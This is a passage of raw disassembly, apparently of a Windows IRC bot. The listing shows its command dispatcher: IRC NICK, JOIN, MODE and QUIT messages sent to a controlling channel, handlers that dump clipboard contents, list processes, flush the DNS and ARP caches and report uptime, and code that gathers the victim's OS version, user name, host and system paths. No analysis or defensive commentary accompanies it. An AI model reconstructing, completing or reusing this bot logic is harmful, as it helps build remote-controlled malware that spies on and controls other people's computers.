add [ebp+arg_18], 0Bh
mov eax, [ebp+arg_18]
cmp [eax], bl
jnz loc_4094C2
jmp loc_406FF9
; ---------------------------------------------------------------------------
loc_409777: ; CODE XREF: sub_406BAB+2BDAj
push 32h
call dword_417040 ; Sleep
loc_40977F: ; CODE XREF: sub_406BAB+2B6Fj
cmp [ebp+var_2EC], ebx
jz short loc_409777
jmp short loc_409737
; ---------------------------------------------------------------------------
loc_409789: ; CODE XREF: sub_406BAB+29DBj
push offset unk_41D28C
loc_40978E: ; CODE XREF: sub_406BAB+2C07j
lea eax, [ebp+var_2E4]
push eax
call sub_40B0B3
pop ecx
pop ecx
jmp loc_408A6A
; ---------------------------------------------------------------------------
loc_4097A1: ; CODE XREF: sub_406BAB+10C2j
; sub_406BAB+10D7j
push 4
call sub_40AC96
test eax, eax
pop ecx
jle short loc_4097B4
push offset unk_41CB18
jmp short loc_40978E
; ---------------------------------------------------------------------------
loc_4097B4: ; CODE XREF: sub_406BAB+2C00j
mov eax, [ebp+esi+var_A0]
mov edi, 104h
cmp eax, ebx
jz short loc_4097D7
push eax
lea eax, [ebp+var_7EC]
push edi
push eax
call sub_40BDE7
add esp, 0Ch
jmp short loc_4097E6
; ---------------------------------------------------------------------------
loc_4097D7: ; CODE XREF: sub_406BAB+2C17j
lea eax, [ebp+var_7EC]
push edi
push eax
push ebx
call dword_41704C ; GetModuleFileNameA
loc_4097E6: ; CODE XREF: sub_406BAB+2C2Aj
mov esi, [ebp+esi+var_9C]
cmp esi, ebx
jnz short loc_4097F6
mov esi, offset byte_41C1A0
loc_4097F6: ; CODE XREF: sub_406BAB+2C44j
push esi
lea eax, [ebp+var_6E8]
push edi
push eax
call sub_40BDE7
mov eax, dword_41C0D8
push 7Fh
push [ebp+var_9C]
mov [ebp+var_5DC], eax
mov eax, [ebp+arg_4]
mov [ebp+var_5E0], ebx
mov [ebp+var_7F0], eax
lea eax, [ebp+var_5D8]
push eax
call sub_40B110
mov eax, [ebp+var_4]
mov [ebp+var_558], eax
mov eax, [ebp+var_8]
mov [ebp+var_554], eax
lea eax, [ebp+var_6E8]
push eax
lea eax, [ebp+var_7EC]
push eax
lea eax, [ebp+var_2E4]
push [ebp+var_5DC]
push offset unk_419458
push eax
call sub_40B0B3
push ebx
lea eax, [ebp+var_2E4]
push 4
push eax
call sub_40AA54
add esp, 38h
mov [ebp+var_5E4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_7F0]
push ebx
push eax
push offset sub_40A573
push ebx
push ebx
call dword_417048 ; CreateThread
mov ecx, [ebp+var_5E4]
imul ecx, 234h
cmp eax, ebx
mov dword_42CF74[ecx], eax
jnz short loc_4098C9
call dword_417044 ; RtlGetLastWin32Error
push eax
push offset unk_41CADC
jmp loc_409EC0
; ---------------------------------------------------------------------------
loc_4098C1: ; CODE XREF: sub_406BAB+2D24j
push 32h
call dword_417040 ; Sleep
loc_4098C9: ; CODE XREF: sub_406BAB+2D03j
cmp [ebp+var_550], ebx
jz short loc_4098C1
jmp loc_408A6A
; ---------------------------------------------------------------------------
loc_4098D6: ; CODE XREF: sub_406BAB+1098j
; sub_406BAB+10ADj
mov esi, [ebp+esi+var_A0]
cmp esi, ebx
jz short loc_4098E9
push esi
call sub_40C3AF
jmp short loc_4098F0
; ---------------------------------------------------------------------------
loc_4098E9: ; CODE XREF: sub_406BAB+2D34j
push 7
call sub_40ACB5
loc_4098F0: ; CODE XREF: sub_406BAB+2D3Cj
cmp eax, ebx
pop ecx
jz loc_409F32
push eax
push [ebp+var_4]
push [ebp+var_9C]
push [ebp+arg_4]
call sub_4010CA
loc_40990B: ; CODE XREF: sub_406BAB+232Bj
add esp, 10h
jmp loc_409F32
; ---------------------------------------------------------------------------
loc_409913: ; CODE XREF: sub_406BAB+106Ej
; sub_406BAB+1083j
mov eax, dword_42B310
cmp eax, ebx
jz short loc_409936
call eax ; DnsFlushResolverCache
test eax, eax
lea eax, [ebp+var_2E4]
jz short loc_40992F
push offset aFlushdnsDnsCac ; "[FLUSHDNS]: DNS cache flushed."
jmp short loc_40995E
; ---------------------------------------------------------------------------
loc_40992F: ; CODE XREF: sub_406BAB+2D7Bj
push offset aFlushdnsFailed ; "[FLUSHDNS]: Failed to flush DNS cache."
jmp short loc_40995E
; ---------------------------------------------------------------------------
loc_409936: ; CODE XREF: sub_406BAB+2D6Fj
push offset aFlushdnsFail_0 ; "[FLUSHDNS]: Failed to load dnsapi.dll."
lea eax, [ebp+var_2E4]
jmp short loc_40995E
; ---------------------------------------------------------------------------
loc_409943: ; CODE XREF: sub_406BAB+1044j
; sub_406BAB+1059j
call sub_405687
test eax, eax
lea eax, [ebp+var_2E4]
jz short loc_409959
push offset aFlushdnsArpC_0 ; "[FLUSHDNS]: ARP cache flushed."
jmp short loc_40995E
; ---------------------------------------------------------------------------
loc_409959: ; CODE XREF: sub_406BAB+2DA5j
push offset aFlushdnsFail_1 ; "[FLUSHDNS]: Failed to flush ARP cache."
loc_40995E: ; CODE XREF: sub_406BAB+2D82j
; sub_406BAB+2D89j ...
push 200h
push eax
call sub_40BDE7
jmp loc_409299
; ---------------------------------------------------------------------------
loc_40996E: ; CODE XREF: sub_406BAB+101Aj
; sub_406BAB+102Fj
cmp [ebp+var_8], ebx
jnz short loc_40998D
push ebx
push [ebp+var_4]
push offset aClipboardData ; "-[Clipboard Data]-"
push [ebp+var_9C]
push [ebp+arg_4]
call sub_404555
add esp, 14h
loc_40998D: ; CODE XREF: sub_406BAB+2DC6j
push ebx
push [ebp+var_4]
call sub_405344
push eax
push [ebp+var_9C]
push [ebp+arg_4]
call sub_404555
push offset dword_41C9F0
call sub_403145
add esp, 18h
jmp loc_409F32
; ---------------------------------------------------------------------------
loc_4099B7: ; CODE XREF: sub_406BAB+F69j
; sub_406BAB+F7Ej
push [ebp+esi+var_A0]
push [ebp+var_4]
push [ebp+var_9C]
push [ebp+arg_4]
call sub_403B00
loc_4099CF: ; CODE XREF: sub_406BAB+3A2j
add esp, 10h
jmp loc_406FF9
; ---------------------------------------------------------------------------
loc_4099D7: ; CODE XREF: sub_406BAB+F3Fj
; sub_406BAB+F54j
or edi, 0FFFFFFFFh
call dword_41705C ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, [ebp+esi+var_A0]
cmp esi, ebx
mov [ebp+arg_0], eax
jz short loc_409A00
push esi
call sub_40C3AF
pop ecx
mov edi, eax
loc_409A00: ; CODE XREF: sub_406BAB+2E4Aj
mov eax, [ebp+arg_0]
xor edx, edx
mov ecx, 15180h
div ecx
cmp eax, edi
jnb short loc_409A19
cmp edi, 0FFFFFFFFh
jnz loc_409F32
loc_409A19: ; CODE XREF: sub_406BAB+2E63j
push ebx
call sub_40A0F0
push eax
lea eax, [ebp+var_2E4]
push offset dword_41C9D4
push eax
call sub_40B0B3
push ebx
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push eax
push [ebp+var_9C]
push [ebp+arg_4]
call sub_404555
lea eax, [ebp+var_2E4]
push eax
call sub_403145
add esp, 28h
jmp loc_409F32
; ---------------------------------------------------------------------------
loc_409A5E: ; CODE XREF: sub_406BAB+F15j
; sub_406BAB+F2Aj
push 1Ch
call sub_40AC96
test eax, eax
pop ecx
jle short loc_409A81
cmp [ebp+var_8], ebx
jnz loc_406FF9
push ebx
push [ebp+var_4]
push offset unk_41C9B4
jmp loc_40A094
; ---------------------------------------------------------------------------
loc_409A81: ; CODE XREF: sub_406BAB+2EBDj
push [ebp+var_9C]
lea eax, [ebp+var_4C4]
push 80h
push eax
call sub_40BDE7
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_A0]
mov [ebp+var_4C8], eax
mov eax, [ebp+var_4]
mov [ebp+var_43C], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_438], eax
mov [ebp+var_440], ebx
jz short loc_409AE2
push esi
push offset aFull ; "full"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jnz short loc_409AE2
mov [ebp+var_440], 1
loc_409AE2: ; CODE XREF: sub_406BAB+2F1Aj
; sub_406BAB+2F2Bj
lea eax, [ebp+var_2E4]
push offset dword_41C98C
push eax
call sub_40B0B3
push ebx
lea eax, [ebp+var_2E4]
push 1Ch
push eax
call sub_40AA54
add esp, 14h
mov [ebp+var_444], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4C8]
push ebx
push eax
push offset sub_4059C3
push ebx
push ebx
call dword_417048 ; CreateThread
mov ecx, [ebp+var_444]
imul ecx, 234h
cmp eax, ebx
mov dword_42CF74[ecx], eax
jnz short loc_409B6F
call dword_417044 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_2E4]
push offset unk_41C950
push eax
call sub_40B0B3
add esp, 0Ch
loc_409B55: ; CODE XREF: sub_406BAB+1649j
; sub_406BAB+166Bj ...
lea eax, [ebp+var_2E4]
push eax
call sub_403145
pop ecx
jmp loc_406FF9
; ---------------------------------------------------------------------------
loc_409B67: ; CODE XREF: sub_406BAB+2FCAj
push 32h
call dword_417040 ; Sleep
loc_409B6F: ; CODE XREF: sub_406BAB+2F8Dj
cmp [ebp+var_434], ebx
jz short loc_409B67
jmp short loc_409B55
; ---------------------------------------------------------------------------
loc_409B79: ; CODE XREF: sub_406BAB+EEBj
; sub_406BAB+F00j
cmp [ebp+var_8], ebx
jnz short loc_409B98
push ebx
push [ebp+var_4]
push offset dword_41C934
push [ebp+var_9C]
push [ebp+arg_4]
call sub_404555
add esp, 14h
loc_409B98: ; CODE XREF: sub_406BAB+2FD1j
push [ebp+arg_4]
call dword_42B468 ; closesocket
call dword_42B344 ; WSACleanup
call sub_4054C7
push ebx
call dword_41706C ; ExitProcess
loc_409BB3: ; CODE XREF: sub_406BAB+EC1j
; sub_406BAB+ED6j
push ebx
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push [ebp+arg_4]
push eax
call sub_40A1F9
pop ecx
pop ecx
jmp short loc_409BE3
; ---------------------------------------------------------------------------
loc_409BCA: ; CODE XREF: sub_406BAB+E97j
; sub_406BAB+EACj
push ebx
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_40A4AD
add esp, 0Ch
loc_409BE3: ; CODE XREF: sub_406BAB+301Dj
push eax
push [ebp+var_9C]
loc_409BEA: ; CODE XREF: sub_406BAB+23CCj
push [ebp+arg_4]
call sub_404555
add esp, 14h
jmp loc_409F32
; ---------------------------------------------------------------------------
loc_409BFA: ; CODE XREF: sub_406BAB+E6Dj
; sub_406BAB+E82j
push [ebp+var_4]
push [ebp+var_9C]
push [ebp+arg_4]
call sub_4030CD
jmp loc_409DF9
; ---------------------------------------------------------------------------
loc_409C10: ; CODE XREF: sub_406BAB+E43j
; sub_406BAB+E58j
push [ebp+var_9C]
lea eax, [ebp+var_4C4]
push 80h
push eax
call sub_40BDE7
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_A0]
mov [ebp+var_4C8], eax
mov eax, [ebp+var_4]
mov [ebp+var_43C], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_438], eax
jz short loc_409C6A
push offset dword_41C930
push esi
call sub_40C250
neg eax
sbb eax, eax
pop ecx
inc eax
pop ecx
mov [ebp+var_440], eax
jmp short loc_409C70
; ---------------------------------------------------------------------------
loc_409C6A: ; CODE XREF: sub_406BAB+30A3j
mov [ebp+var_440], ebx
loc_409C70: ; CODE XREF: sub_406BAB+30BDj
lea eax, [ebp+var_2E4]
push offset dword_41C910
push eax
call sub_40B0B3
push ebx
lea eax, [ebp+var_2E4]
push 1Dh
push eax
call sub_40AA54
add esp, 14h
mov [ebp+var_444], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4C8]
push ebx
push eax
push offset sub_40AABF
push ebx
push ebx
call dword_417048 ; CreateThread
mov ecx, [ebp+var_444]
imul ecx, 234h
cmp eax, ebx
mov dword_42CF74[ecx], eax
jnz short loc_409CF0
call dword_417044 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_2E4]
push offset dword_41C8D4
push eax
call sub_40B0B3
add esp, 0Ch
jmp loc_4091FE
; ---------------------------------------------------------------------------
loc_409CE8: ; CODE XREF: sub_406BAB+314Bj
push 32h
call dword_417040 ; Sleep
loc_409CF0: ; CODE XREF: sub_406BAB+311Bj
cmp [ebp+var_434], ebx
jz short loc_409CE8
jmp loc_4091FE
; ---------------------------------------------------------------------------
loc_409CFD: ; CODE XREF: sub_406BAB+DC7j
; sub_406BAB+DDCj
push offset aKtsFinally ; "KTS-Finally"
lea eax, [ebp+var_2E4]
push offset dword_41C8B8
push eax
call sub_40B0B3
push ebx
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push eax
push [ebp+var_9C]
push [ebp+arg_4]
call sub_404555
add esp, 20h
jmp loc_4091FE
; ---------------------------------------------------------------------------
loc_409D34: ; CODE XREF: sub_406BAB+D9Dj
; sub_406BAB+DB2j
push dword_47F740
call sub_40A0F0
push eax
lea eax, [ebp+var_2E4]
push offset unk_41C888
push eax
call sub_40B0B3
push ebx
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push eax
push [ebp+var_9C]
push [ebp+arg_4]
call sub_404555
add esp, 24h
jmp loc_4091FE
; ---------------------------------------------------------------------------
loc_409D72: ; CODE XREF: sub_406BAB+D73j
; sub_406BAB+D88j
mov esi, [ebp+esi+var_A0]
cmp esi, ebx
jz short loc_409DA4
cmp [ebp+var_C], ebx
jz short loc_409DB3
push esi
push [ebp+var_C]
call sub_40CE60
pop ecx
cmp eax, ebx
pop ecx
jz short loc_409DB3
push eax
push offset aQuitS ; "QUIT :%s\r\n"
push [ebp+arg_4]
call sub_40450F
add esp, 0Ch
jmp short loc_409DB3
; ---------------------------------------------------------------------------
loc_409DA4: ; CODE XREF: sub_406BAB+31D0j
push offset aQuitLater ; "QUIT :later\r\n"
push [ebp+arg_4]
call sub_40450F
pop ecx
pop ecx
loc_409DB3: ; CODE XREF: sub_406BAB+31D5j
; sub_406BAB+31E4j ...
push 0FFFFFFFEh
pop eax
jmp loc_406FFC
; ---------------------------------------------------------------------------
loc_409DBB: ; CODE XREF: sub_406BAB+D49j
; sub_406BAB+D5Ej
push offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
push [ebp+arg_4]
call sub_40450F
pop ecx
or eax, 0FFFFFFFFh
pop ecx
jmp loc_406FFC
; ---------------------------------------------------------------------------
loc_409DD2: ; CODE XREF: sub_406BAB+D1Fj
; sub_406BAB+D34j
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_40450F
pop ecx
xor eax, eax
pop ecx
jmp loc_406FFC
; ---------------------------------------------------------------------------
loc_409DE8: ; CODE XREF: sub_406BAB+CF5j
; sub_406BAB+D0Aj
push [ebp+var_4]
push [ebp+var_9C]
push [ebp+arg_4]
call sub_401000
loc_409DF9: ; CODE XREF: sub_406BAB+22CDj
; sub_406BAB+3060j
add esp, 0Ch
jmp loc_409F32
; ---------------------------------------------------------------------------
loc_409E01: ; CODE XREF: sub_406BAB+C79j
; sub_406BAB+C8Ej
push [ebp+esi+var_A0]
push 1Ch
push offset aProcessList ; "Process list"
push offset aProc ; "PROC "
loc_409E14: ; CODE XREF: sub_406BAB+C13j
; sub_406BAB+C3Cj ...
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_9C]
push [ebp+arg_4]
call sub_40ACDC
add esp, 20h
jmp loc_406FF9
; ---------------------------------------------------------------------------
loc_409E30: ; CODE XREF: sub_406BAB+BD4j
; sub_406BAB+BE9j
mov esi, [ebp+esi+var_A0]
cmp esi, ebx
jz short loc_409E83
push esi
call sub_40C3AF
cmp eax, ebx
pop ecx
jl short loc_409E7B
cmp eax, 2
jge short loc_409E7B
mov edx, [ebp+arg_18]
mov ecx, eax
shl ecx, 7
lea esi, [ecx+edx]
cmp [esi], bl
jz short loc_409E73
lea eax, [esi+1]
push eax
lea eax, [ebp+var_2E4]
push offset unk_41D888
push eax
call sub_40B0B3
mov [esi], bl
jmp short loc_409ECC
; ---------------------------------------------------------------------------
loc_409E73: ; CODE XREF: sub_406BAB+32ADj
push eax
push offset unk_41C7F4
jmp short loc_409EC0
; ---------------------------------------------------------------------------
loc_409E7B: ; CODE XREF: sub_406BAB+3299j
; sub_406BAB+329Ej
push eax
push offset unk_41C7C4
jmp short loc_409EC0
; ---------------------------------------------------------------------------
loc_409E83: ; CODE XREF: sub_406BAB+328Ej
mov edi, [ebp+arg_18]
xor esi, esi
loc_409E88: ; CODE XREF: sub_406BAB+32F9j
push [ebp+var_A4]
push edi
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz short loc_409EAB
inc esi
add edi, 80h
cmp esi, 2
jl short loc_409E88
jmp loc_408A6A
; ---------------------------------------------------------------------------
loc_409EAB: ; CODE XREF: sub_406BAB+32EDj
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C8]
push eax
push offset unk_41D888
loc_409EC0: ; CODE XREF: sub_406BAB+27D7j
; sub_406BAB+2D11j ...
lea eax, [ebp+var_2E4]
push eax
call sub_40B0B3
loc_409ECC: ; CODE XREF: sub_406BAB+32C6j
add esp, 0Ch
jmp loc_408A6A
; ---------------------------------------------------------------------------
loc_409ED4: ; CODE XREF: sub_406BAB+BAAj
; sub_406BAB+BBFj
push [ebp+var_A0]
push offset dword_41D834
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz short loc_409F32
call sub_40AC17
push ebx
call dword_41706C ; ExitProcess
loc_409EF6: ; CODE XREF: sub_406BAB+B80j
; sub_406BAB+B95j
push [ebp+esi+var_A0]
xor eax, eax
cmp [ebp+var_904], bl
setnz al
push eax
lea eax, [ebp+var_54C]
push dword_41C0F0
push eax
call sub_4061FA
lea eax, [ebp+var_54C]
push eax
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_40450F
add esp, 1Ch
loc_409F32: ; CODE XREF: sub_406BAB+60Fj
; sub_406BAB+61Bj ...
mov eax, [ebp+arg_24]
jmp loc_406FFC
; ---------------------------------------------------------------------------
loc_409F3A: ; CODE XREF: sub_406BAB+69Cj
; sub_406BAB+6B1j
mov esi, [ebp+esi+var_A0]
cmp esi, ebx
mov [ebp+arg_10], esi
jz loc_406FF9
cmp [ebp+var_A8], ebx
jnz loc_406FF9
push offset asc_41D8F8 ; "!"
push [ebp+var_A4]
call sub_40D07C
mov esi, eax
push offset dword_42226C
push ebx
inc esi
call sub_40D07C
push offset asc_41C7C0 ; "~"
push eax
call sub_40D07C
push [ebp+arg_10]
mov edi, eax
push offset aSock ; "sock"
call sub_40C250
add esp, 20h
test eax, eax
jz short loc_409FE2
lea eax, [ebp+var_C8]
push edi
push eax
lea eax, [ebp+var_C8]
push eax
push offset aNoticeSFailedS ; "NOTICE %s :FAILED (%s!%s).\r\n"
push [ebp+arg_4]
call sub_40450F
lea eax, [ebp+var_C8]
push eax
push offset aNoticeSFailed_ ; "NOTICE %s :FAILED.\r\n"
push [ebp+arg_4]
call sub_40450F
push edi
push esi
push offset unk_41C758
loc_409FCE: ; CODE XREF: sub_406BAB+3490j
lea eax, [ebp+var_2E4]
push eax
call sub_40B0B3
add esp, 30h
jmp loc_408A8B
; ---------------------------------------------------------------------------
loc_409FE2: ; CODE XREF: sub_406BAB+33EAj
mov [ebp+arg_24], ebx
loc_409FE5: ; CODE XREF: sub_406BAB+3457j
mov eax, [ebp+arg_24]
push edi
push off_41C200[eax]
call sub_40ADA7
pop ecx
test eax, eax
pop ecx
jnz short loc_40A03D
add [ebp+arg_24], 4
cmp [ebp+arg_24], 4
jb short loc_409FE5
lea eax, [ebp+var_C8]
push edi
push eax
lea eax, [ebp+var_C8]
push eax
push offset aNoticeSFailedS ; "NOTICE %s :FAILED (%s!%s).\r\n"
push [ebp+arg_4]
call sub_40450F
lea eax, [ebp+var_C8]
push eax
push offset aNoticeSFailed_ ; "NOTICE %s :FAILED.\r\n"
push [ebp+arg_4]
call sub_40450F
push edi
push esi
push offset unk_41C728
jmp short loc_409FCE
; ---------------------------------------------------------------------------
loc_40A03D: ; CODE XREF: sub_406BAB+344Dj
mov edi, [ebp+arg_18]
xor esi, esi
loc_40A042: ; CODE XREF: sub_406BAB+34B8j
cmp [edi], bl
jnz short loc_40A059
push [ebp+arg_10]
push offset aSock ; "sock"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz short loc_40A06A
loc_40A059: ; CODE XREF: sub_406BAB+3499j
inc esi
add edi, 80h
cmp esi, 2
jl short loc_40A042
jmp loc_406FF9
; ---------------------------------------------------------------------------
loc_40A06A: ; CODE XREF: sub_406BAB+34ACj
shl esi, 7
add esi, [ebp+arg_18]
lea eax, [ebp+var_874]
push 7Fh
push eax
push esi
call sub_40B110
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz loc_406FF9
push ebx
push [ebp+var_4]
push offset unk_41C704
loc_40A094: ; CODE XREF: sub_406BAB+2ED1j
push [ebp+var_9C]
push [ebp+arg_4]
call sub_404555
add esp, 14h
jmp loc_406FF9
; ---------------------------------------------------------------------------
loc_40A0AA: ; CODE XREF: sub_406BAB+1F9j
; sub_406BAB+20Ej
push [ebp+arg_10]
push offset aUserhostS ; "USERHOST %s\r\n"
push [ebp+arg_4]
call sub_40450F
push offset aXi ; "+xi"
push [ebp+arg_10]
push offset aModeSS ; "MODE %s %s\r\n"
push [ebp+arg_4]
call sub_40450F
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_40450F
add esp, 2Ch
mov dword_47F8B0, edi
jmp loc_406E33
sub_406BAB endp
; =============== S U B R O U T I N E =======================================
sub_40A0F0 proc near ; CODE XREF: sub_401000+74p
; sub_406BAB+2E6Fp ...
arg_0 = dword ptr 4
push esi
push edi
call dword_41705C ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
xor edx, edx
mov ecx, 15180h
mov esi, 0E10h
push 3Ch
pop edi
sub eax, [esp+8+arg_0]
div ecx
mov ecx, eax
mov eax, edx
xor edx, edx
div esi
mov esi, eax
mov eax, edx
xor edx, edx
div edi
push eax
push esi
push ecx
push offset aDdDhDm ; "%dd %dh %dm"
mov esi, offset dword_47F8B8
push 32h
push esi
call sub_40BDE7
add esp, 18h
mov eax, esi
pop edi
pop esi
retn
sub_40A0F0 endp
; =============== S U B R O U T I N E =======================================
sub_40A143 proc near ; CODE XREF: sub_40A1F9+290p
push ebx
push esi
push edi
mov edi, 0F4240h
loc_40A14B: ; CODE XREF: sub_40A143+2Fj
; sub_40A143+35j
rdtsc
push 3E8h
mov ebx, edx
mov esi, eax
call dword_417040 ; Sleep
rdtsc
sub eax, esi
push 0
sbb edx, ebx
push edi
push edx
push eax
call sub_40C810
mov esi, edx
mov ebx, eax
test esi, esi
ja short loc_40A14B
jb short loc_40A17A
cmp ebx, edi
ja short loc_40A14B
loc_40A17A: ; CODE XREF: sub_40A143+31j
push 0
push 64h
push esi
push ebx
call sub_40C880
mov ecx, edx
push 64h
xor edx, edx
mov edi, eax
test ecx, ecx
pop eax
ja short loc_40A1ED
jb short loc_40A199
cmp edi, 50h
jnb short loc_40A19E
loc_40A199: ; CODE XREF: sub_40A143+4Fj
push 4Bh
xor edx, edx
pop eax
loc_40A19E: ; CODE XREF: sub_40A143+54j
test ecx, ecx
ja short loc_40A1ED
jb short loc_40A1A9
cmp edi, 47h
jnb short loc_40A1AE
loc_40A1A9: ; CODE XREF: sub_40A143+5Fj
push 42h
xor edx, edx
pop eax
loc_40A1AE: ; CODE XREF: sub_40A143+64j
test ecx, ecx
ja short loc_40A1ED
jb short loc_40A1B9
cmp edi, 37h
jnb short loc_40A1BE
loc_40A1B9: ; CODE XREF: sub_40A143+6Fj
push 32h
xor edx, edx
pop eax
loc_40A1BE: ; CODE XREF: sub_40A143+74j
test ecx, ecx
ja short loc_40A1ED
jb short loc_40A1C9
cmp edi, 26h
jnb short loc_40A1CE
loc_40A1C9: ; CODE XREF: sub_40A143+7Fj
push 21h
xor edx, edx
pop eax
loc_40A1CE: ; CODE XREF: sub_40A143+84j
test ecx, ecx
ja short loc_40A1ED
jb short loc_40A1D9
cmp edi, 1Eh
jnb short loc_40A1DE
loc_40A1D9: ; CODE XREF: sub_40A143+8Fj
push 19h
xor edx, edx
pop eax
loc_40A1DE: ; CODE XREF: sub_40A143+94j
test ecx, ecx
ja short loc_40A1ED
jb short loc_40A1E9
cmp edi, 0Ah
jnb short loc_40A1ED
loc_40A1E9: ; CODE XREF: sub_40A143+9Fj
xor eax, eax
xor edx, edx
loc_40A1ED: ; CODE XREF: sub_40A143+4Dj
; sub_40A143+5Dj ...
sub eax, edi
pop edi
sbb edx, ecx
add eax, ebx
adc edx, esi
pop esi
pop ebx
retn
sub_40A143 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A1F9 proc near ; CODE XREF: sub_406BAB+3016p
var_968 = byte ptr -968h
var_7E8 = byte ptr -7E8h
var_668 = byte ptr -668h
var_5E8 = byte ptr -5E8h
var_568 = byte ptr -568h
var_4E8 = byte ptr -4E8h
var_3E4 = byte ptr -3E4h
var_2E8 = byte ptr -2E8h
var_25C = word ptr -25Ch
var_25A = byte ptr -25Ah
var_15C = byte ptr -15Ch
var_114 = byte ptr -114h
var_CC = dword ptr -0CCh
var_C8 = dword ptr -0C8h
var_C4 = dword ptr -0C4h
var_C0 = dword ptr -0C0h
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = byte ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 968h
push ebx
push esi
lea eax, [ebp+var_CC]
push edi
push eax
mov [ebp+var_4], offset byte_422270
mov [ebp+var_CC], 94h
call dword_417000 ; GetVersionExA
xor ebx, ebx
cmp [ebp+var_C8], 4
jnz short loc_40A280
cmp [ebp+var_C4], ebx
jnz short loc_40A25C
cmp [ebp+var_BC], 1
jnz short loc_40A246
mov [ebp+var_4], offset dword_41BF30
loc_40A246: ; CODE XREF: sub_40A1F9+44j
cmp [ebp+var_BC], 2
jnz loc_40A2FB
mov [ebp+var_4], offset dword_41BF2C
jmp short loc_40A2CC
; ---------------------------------------------------------------------------
loc_40A25C: ; CODE XREF: sub_40A1F9+3Bj
cmp [ebp+var_C4], 0Ah
jnz short loc_40A26E
mov [ebp+var_4], offset dword_41BF28
jmp short loc_40A2C3
; ---------------------------------------------------------------------------
loc_40A26E: ; CODE XREF: sub_40A1F9+6Aj
cmp [ebp+var_C4], 5Ah
jnz short loc_40A2BC
mov [ebp+var_4], offset dword_41BF24
jmp short loc_40A2C3
; ---------------------------------------------------------------------------
loc_40A280: ; CODE XREF: sub_40A1F9+33j
cmp [ebp+var_C8], 5
jnz short loc_40A2BC
cmp [ebp+var_C4], ebx
jnz short loc_40A29A
mov [ebp+var_4], offset dword_41BF20
jmp short loc_40A2C3
; ---------------------------------------------------------------------------
loc_40A29A: ; CODE XREF: sub_40A1F9+96j
cmp [ebp+var_C4], 1
jnz short loc_40A2AC
mov [ebp+var_4], offset dword_41BF1C
jmp short loc_40A2C3
; ---------------------------------------------------------------------------
loc_40A2AC: ; CODE XREF: sub_40A1F9+A8j
cmp [ebp+var_C4], 2
mov [ebp+var_4], offset a2003 ; "2003"
jz short loc_40A2C3
loc_40A2BC: ; CODE XREF: sub_40A1F9+7Cj
; sub_40A1F9+8Ej
mov [ebp+var_4], offset dword_41BF14
loc_40A2C3: ; CODE XREF: sub_40A1F9+73j
; sub_40A1F9+85j ...
cmp [ebp+var_BC], 2
jnz short loc_40A2FB
loc_40A2CC: ; CODE XREF: sub_40A1F9+61j
cmp [ebp+var_B8], bl
jz short loc_40A2FB
lea eax, [ebp+var_B8]
push eax
lea eax, [ebp+var_2E8]
push [ebp+var_4]
push offset aSS_1 ; "%s (%s)"
push eax
call sub_40B0B3
lea eax, [ebp+var_2E8]
add esp, 10h
mov [ebp+var_4], eax
loc_40A2FB: ; CODE XREF: sub_40A1F9+54j
; sub_40A1F9+D1j ...
mov ax, word_41AF80
push 3Fh
mov [ebp+var_25C], ax
pop ecx
xor eax, eax
lea edi, [ebp+var_25A]
rep stosd
stosw
mov eax, dword_42B2D8
mov [ebp+var_8], 100h
cmp eax, ebx
jz short loc_40A334
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_25C]
push ecx
call eax ; GetUserNameA
loc_40A334: ; CODE XREF: sub_40A1F9+12Cj
push [ebp+arg_4]
call sub_405752
pop ecx
push eax
call dword_42B410 ; inet_addr
mov [ebp+var_C], eax
push 2
lea eax, [ebp+var_C]
push 4
push eax
call dword_42B390 ; gethostbyaddr
cmp eax, ebx
jz short loc_40A35D
push dword ptr [eax]
jmp short loc_40A362
; ---------------------------------------------------------------------------
loc_40A35D: ; CODE XREF: sub_40A1F9+15Ej
push offset aCouldnTResolve ; "couldn't resolve host"
loc_40A362: ; CODE XREF: sub_40A1F9+162j
lea eax, [ebp+var_3E4]
push eax
call sub_40B0B3
pop ecx
lea eax, [ebp+var_4E8]
pop ecx
push 104h
push eax
call dword_417080 ; GetSystemDirectoryA
lea eax, [ebp+var_114]
push 46h
push eax
push offset aDdMmmYyyy ; "dd:MMM:yyyy"
push ebx
mov esi, 409h
push ebx
push esi
call dword_4170FC ; GetDateFormatA
lea eax, [ebp+var_15C]
push 46h
push eax
push offset aHhMmSs ; "HH:mm:ss"
push ebx
push ebx
push esi
